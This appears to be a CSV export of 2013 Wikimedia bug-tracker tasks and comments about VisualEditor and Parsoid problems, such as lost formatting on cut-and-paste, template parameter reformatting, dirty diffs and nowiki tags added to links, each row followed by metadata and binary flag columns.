+235424,VisualEditor: Cut and Pasting a section that contains an image truncates all the sections formatting after pasting it.,"And marking as a duplicate of bug 33105, which is about supporting this functionality.
+
+The cut operation should probably be 'disabled' if it contains elements that can't be pasted again.  However the 'cut' operation could do a 'copy' operation, with a notice to the user that cut is not supported for complex wiki blocks.
+
+The paste operation should probably be disabled until this is fixed, with a notice to the user that they should press undo/Control-Z to get back their text if the last item on the undo stack is a Cut operation.
+
+But there is probably also an 'enhancement' raised about those as well.
+
+*** This bug has been marked as a duplicate of bug 33105 ***",,,1374459959,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-hrdmmz7wdsz3xmnhvpp2,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,1,1,1,0,1,1,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+235419,VisualEditor: Cut and Pasting a section that contains an image truncates all the sections formatting after pasting it.,Confirming your example.,,,1374459355,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-hrdmmz7wdsz3xmnhvpp2,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0
+235414,VisualEditor: Cut and Pasting a section that contains an image truncates all the sections formatting after pasting it.,See also https://bugzilla.wikimedia.org/show_bug.cgi?id=50721,,,1373883205,,PHID-USER-lumvg23bxmfbvekr2fbo,False,,,PHID-TASK-hrdmmz7wdsz3xmnhvpp2,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+53200,Botfixup: VisualEditor shows 6 items in a list which for which MW only generates 2 items,"Compare the result of the wikitext
+#1
+#
+#
+#
+#
+#6
+in the following URLs:
+1) https://pt.wikipedia.org/wiki/?oldid=36373624&veaction=edit
+2) https://pt.wikipedia.org/wiki/?oldid=36373624&action=edit&preview=yes
+
+Visual Editor show us a list with 6 elements, but MediaWiki will only display two items.
+
+Maybe this is related to Tidy?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373577600,1373599184.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-jakyw4q5ktlmqgd4sv3v,task_description,declined,True,c1,3,False,False,True,1,,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,0,1,1,1,0,0,1
+234299,Botfixup: VisualEditor shows 6 items in a list which for which MW only generates 2 items,"It would be difficult to sanely edit undisplayed list items. We would basically have to pretend those list items were never there. They would not be editable in the VE. 
+
+While not impossible, even round-tripping of such collapsed list items would add a lot of special-case code.
+
+So overall I am very doubtful that this would be worth it. IMO it is better to fix the wikitext, possibly with a bot. I'm closing this as wontfix for now. Please reopen if there are good reasons why correcting this with bots is not feasible.",,,1373599184,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-jakyw4q5ktlmqgd4sv3v,task_subcomment,,True,c1,3,True,,,1,,0,0,1,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,1,0,1,0,0,1,1,0,0,0,1,1,0,0,1,1,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+234290,Botfixup: VisualEditor shows 6 items in a list which for which MW only generates 2 items,This is in Parsoid: http://parsoid.wmflabs.org/pt/Usu%C3%A1rio:Lechatjaune/Testes?oldid=36373624,,,1373577841,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-jakyw4q5ktlmqgd4sv3v,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+53191,Template rearranging itself,"Copied from English Wikipedia:
+
+I was trying to edit a template in a table after the bug of the references inside template was fixed, but the edit broke the whole table. This was also happening before with the references bug. I don't know if the two bugs were reported together...maybe not. [http://en.wikipedia.org/w/index.php?title=Defiance_%28TV_series%29&diff=563767420&oldid=563763824 Here] is what happened.
+<br>When I edited the template with the 12th episode, the cite error didn't appear. But when I clicked to save it, the 12th episode moved at the top of the table when it should be at the bottom. I reverted the edit and re-made it using ""edit source"". Can this be reported? Thank you [[User:TeamGale|TeamGale]] ([[User talk:TeamGale|talk]]) 16:58, 11 July 2013 (UTC)
+
+**
+
+This one has been around a while, but I think perhaps it wasn't properly reported earlier. I can't fidn it.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373569320,1390416930.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-mruibaiz5kt46pzezn7l,task_description,resolved,True,c1,3,False,False,False,1,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+233796,Template rearranging itself,This was the Parsoid complex templates / VisualEditor dirtying edits bug that got fixed months ago; sorry for the very slow triage.,,,1390416930,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-mruibaiz5kt46pzezn7l,task_subcomment,,True,c1,3,True,,,29,,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+53188,Template editing within referencing is complex to the point of hampering usability,"See http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=563842762#Reference_Issues:_Omnibus_Edition
+
+User Joe Decker has detailed the steps necessary to add a reference to an article using a citation template. While I have as per his request entered some of these as separate bugs or enhancement requests, I am opening this one to note the complexity of the process. As he describes it, it is 73+ steps to achieve in VE what can be achieved in 11 in the older processes.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373566080,1385382810.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-mgnru2nwxtufpuc6lqyx,task_description,resolved,True,c1,3,False,False,False,1,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,1,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
+233670,Template editing within referencing is complex to the point of hampering usability,"Merging this in with bug 50768.
+
+*** This bug has been marked as a duplicate of bug 50768 ***",,,1385382810,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-mgnru2nwxtufpuc6lqyx,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+233663,Template editing within referencing is complex to the point of hampering usability,Another editor has created a potential workflow for references. See http://en.wikipedia.org/wiki/User:Looie496/VE_Reference_editor,,,1373568433,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-mgnru2nwxtufpuc6lqyx,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+53183,"VisualEditor: Design of the reference re-use pane is confusing, with a bold ""Use an existing source"" title that doesn't look like one","Unclear why the second option is bolded. An editor on English Wikipedia suggests that if only one of them is going to be bolded (create new source/use an existing source), it should be the other way around.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373562300,1385380627.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-hn23baiwxuaicjnc3ue4,task_description,resolved,True,c1,3,False,False,False,1,,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+233481,"VisualEditor: Design of the reference re-use pane is confusing, with a bold ""Use an existing source"" title that doesn't look like one",This was fixed some months ago in the re-work of the transclusion dialog; sorry for the slowness of reply.,,,1385380627,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-hn23baiwxuaicjnc3ue4,task_subcomment,,True,c1,3,True,,,21,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+53175,"Parsoid does not add newlines between parameters in new template invocations, making wikitext difficult to read","**Author:** `kwwilliams`
+
+**Description:**
+There have been some bug reports focusing on the ordering of template arguments, but there's also a problem with changing the basic layout of the templates. Look at http://en.wikipedia.org/w/index.php?title=Raven-Symon%C3%A9&diff=563794138&oldid=563793891 where a vandal changed the birthname. The parameter order has been maintained, but the diff is still virtually useless because of the spurious formatting change. If the editor changes the value of one parameter to a template, that change is all that should be made to the source.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373555340,1374271260.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-umxktvxo76lzoeghwqxz,task_description,resolved,True,c1,3,False,False,True,1,,1,0,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+233175,"Parsoid does not add newlines between parameters in new template invocations, making wikitext difficult to read","**kwwilliams** wrote:
+
+It's 51150.",,,1374272928,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-umxktvxo76lzoeghwqxz,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+233168,"Parsoid does not add newlines between parameters in new template invocations, making wikitext difficult to read","You have a choice of bug here, but it will be either 51150 (dirty diff) or 51003 (match style for new parameters and use appropriate style for new transclusions).
+
+Bug 51150 seems to be rare these days when you look at the VE recentchanges diffs, but there still seem to be some recent examples of it occuring, which is why it was reopened.
+
+VE recent changes on enwiki:
+https://en.wikipedia.org/w/index.php?title=Special:RecentChanges&limit=100&tagfilter=visualeditor",,,1374272740,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-umxktvxo76lzoeghwqxz,task_subcomment,,True,c1,3,True,,,2,,1,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+233161,"Parsoid does not add newlines between parameters in new template invocations, making wikitext difficult to read","**kwwilliams** wrote:
+
+This is *not* a duplicate of 51003. You need to maintain the original formatting, not any suggested formatting. If the original source lists the parameters like
+
+{{name
+|arg1|arg2
+|arg3
+|arg4
+|arg5
+}}
+
+and someone changes arg2, all that should occur is that the value of arg2 should be changed. No braces should move. No newlines should be inserted or removed. The ""dirty diff"" is *precisely* what I am complaining about.
+
+The various bugs around allowing a suggested format are all valid, but this isn't a duplicate. Diff lists are how we detect what editors have changed, and anything that dirties a diff is generally a bad thing. Reformatting templates when an argument is modified causes dirty diffs.",,,1374272519,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-umxktvxo76lzoeghwqxz,task_subcomment,,True,c1,3,False,,,2,,1,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,0,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+233156,"Parsoid does not add newlines between parameters in new template invocations, making wikitext difficult to read","In that case this is duplicate of bug 51003.
+
+*** This bug has been marked as a duplicate of bug 51003 ***",,,1374271260,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-umxktvxo76lzoeghwqxz,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+233152,"Parsoid does not add newlines between parameters in new template invocations, making wikitext difficult to read",The dirty diff is not the question here. Clarifying title.,,,1374270992,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-umxktvxo76lzoeghwqxz,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+233149,"Parsoid does not add newlines between parameters in new template invocations, making wikitext difficult to read","**wicke** wrote:
+
+Looks like VE bug 51150. Closing as duplicate.
+
+%%%*** This bug has been marked as a duplicate of bug 51150 ***%%%",,,1374270889,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-umxktvxo76lzoeghwqxz,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+233145,"Parsoid does not add newlines between parameters in new template invocations, making wikitext difficult to read","I think the idea of a TemplateData tag as to whether to keep new lines seems like a good one, if Parsoid would be interested.",,,1374270607,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-umxktvxo76lzoeghwqxz,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+233141,"Parsoid does not add newlines between parameters in new template invocations, making wikitext difficult to read","Agreed; this is true for existing templates, but it's also an issue when adding a long infobox to a page, for example.
+
+It was suggested by French Wikipedians to add a tag to TemplateData (like '""collapsed"" = false') that would indicate to VisualEditor that the community consensus for a given template is to have one parameter per line, instead of cramming everything together (which could remain as the default behavior, and makes sense for many short templates).",,,1374252996,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-umxktvxo76lzoeghwqxz,task_subcomment,,True,c1,3,False,,,2,,1,1,0,1,0,1,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+53173,<nowiki/> added to wikilinks,"In http://en.wikipedia.org/w/index.php?title=Renewable_energy_in_Seychelles&diff=prev&oldid=563530801, the contributor says that he selected the words ""diesel generators"" for linking, but the editor inserted the nowiki to prevent the plural being part of the display. 
+
+See http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=563816729#Changing_link_text_often_results_in_bad_code.2C_wrong_links_and_unmatched_.3C.2Fnowki.3Es for this and other cases. I'm afraid i'm not quite sure how to report this, since I'm not sure what's happening.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=33091",Needs Triage,90.0,1373553780,1373567309.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-htn2o6dmt6ze2hhaf537,task_description,invalid,True,c1,3,False,False,True,1,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+232892,<nowiki/> added to wikilinks,"If the user selects ""diesel generator"" (i.e., misses the 's'), the resultant HTML would be
+
+  <a href=foo>diesel generator</a>s 
+
+The correct wikitext version of this is indeed
+
+  [[diesel generator]]<nowiki />s
+
+… which is probably not what the user wanted to do, but it appears to be what they asked VisualEditor to do.
+
+Consequently, I'm going to mark this as INVALID [If this is not the case - that the user did indeed select the entirety of the two words and there's a bug, I'd really love to know what browser they were using so we can hunt down the problem in our selection code!]
+
+Had they instead selected ""diesel generators"", VisualEditor/Parsoid would have created this as:
+
+  [[diesel generator|diesel generators]]
+
+… which is not ideal (I'd prefer the shorter [[diesel generator]]s) but does the job. (I've just triple-checked this in Firefox, Chrome and Safari - it doesn't appear to have broken.)
+
+We could always expand users' selections to what we think they should have selected, but this would make it impossible for users to do some things that they may want to do, albeit less frequently. I'm not sure that preventing users from doing things that they can do in wikitext would be a good solution, in general.",,,1373567309,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-htn2o6dmt6ze2hhaf537,task_subcomment,,True,c1,3,True,,,1,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,0,1,1,1,0,0,1,1,0,1,0,1,0,1,0,0,1,0,1,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,0,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+53169,VisualEditor: blanking an article and starting from scratch causes malformations,"The screenshot is the result of the following:
+
+1. go to article
+2. blank article, removing everything
+3. type ""1""
+4. type ""2""
+..and what you end up with is:
+
+1
+12
+
+The text is, in addition, impossible to delete.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373546700,1374079614.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-ikbuupkdg7jny4q2ih3u,task_description,resolved,True,c1,3,False,False,True,1,,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,1,0,0,1,0,0,1
+232672,VisualEditor: blanking an article and starting from scratch causes malformations,"This is the same as bug 50947, I believe - merging.
+
+*** This bug has been marked as a duplicate of bug 50947 ***",,,1374079614,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ikbuupkdg7jny4q2ih3u,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+232665,VisualEditor: blanking an article and starting from scratch causes malformations,"I'm seeing something very slightly different to this - see https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=563808463#Odd_bug_after_blanking_page
+
+If it matters I'm using Firefox 22 on Xubuntu Linux. I don't have another browser to test it in (Konqueror is apparently blacklisted from VE).",,,1373548204,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-ikbuupkdg7jny4q2ih3u,task_subcomment,,True,c1,3,False,,,1,,0,1,1,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+232656,VisualEditor: blanking an article and starting from scratch causes malformations,"I reported something similar in Bug 50947, though there I couldn't type at all. Roan asked for JS console output there, so I guess that it would be useful here, too.
+
+This may also be browser-specific.",,,1373547099,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-ikbuupkdg7jny4q2ih3u,task_subcomment,,True,c1,3,False,,,1,,1,1,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+232648,VisualEditor: blanking an article and starting from scratch causes malformations,"Screenshot
+
+**Attached**: {F11062}",,,1373546784,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-ikbuupkdg7jny4q2ih3u,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+53165,VisualEditor: easier parameter selection,"It would be nice if double-clicking a parameter name in the template inspector - in the 'insert' view - inserted it, to minimise scrolling and such.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1373538900,1377527402.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-gonbe6svndpp6xg5nn7w,task_description,resolved,True,c1,3,False,False,True,1,,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+232451,VisualEditor: easier parameter selection,"Per my previous comment I'm marking this as a duplicate of bug 51143. Feel free to reopen if this is still not working anywhere.
+
+*** This bug has been marked as a duplicate of bug 51143 ***",,,1377527402,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-gonbe6svndpp6xg5nn7w,task_subcomment,,True,c1,3,False,,,8,,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+232443,VisualEditor: easier parameter selection,I think this can be marked as a duplicate of resolved bug 51143 they seem similar and double-clicking a parameter name does insert the parameter for me.,,,1374487773,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-gonbe6svndpp6xg5nn7w,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,1,1,0,0,0
+232435,VisualEditor: easier parameter selection,"(I think I had reported something similar, but still :) )
+Users @itwp also ask for drop-down menu or similar solution in order to choose between values (i.e. gender (M/F) and so on).",,,1373578518,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-gonbe6svndpp6xg5nn7w,task_subcomment,,True,c1,3,False,,,1,,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1
+53153,VisualEditor: Category interface is hard to find,"Finding the categories under page setting is non intuitive. Adding another icon next to references would help usability.
+
+This is discussed at http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Icons_are_incomprehensible
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50239",Needs Triage,90.0,1373509140,1437698082.0,PHID-USER-7hrs7wwclcldf7mm6a7o,False,PHID-USER-vixhpqcaqfpdj6impfwy,True,PHID-TASK-maorft5oyfrh3mtkgplv,task_description,duplicate,True,c1,3,False,False,False,1,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
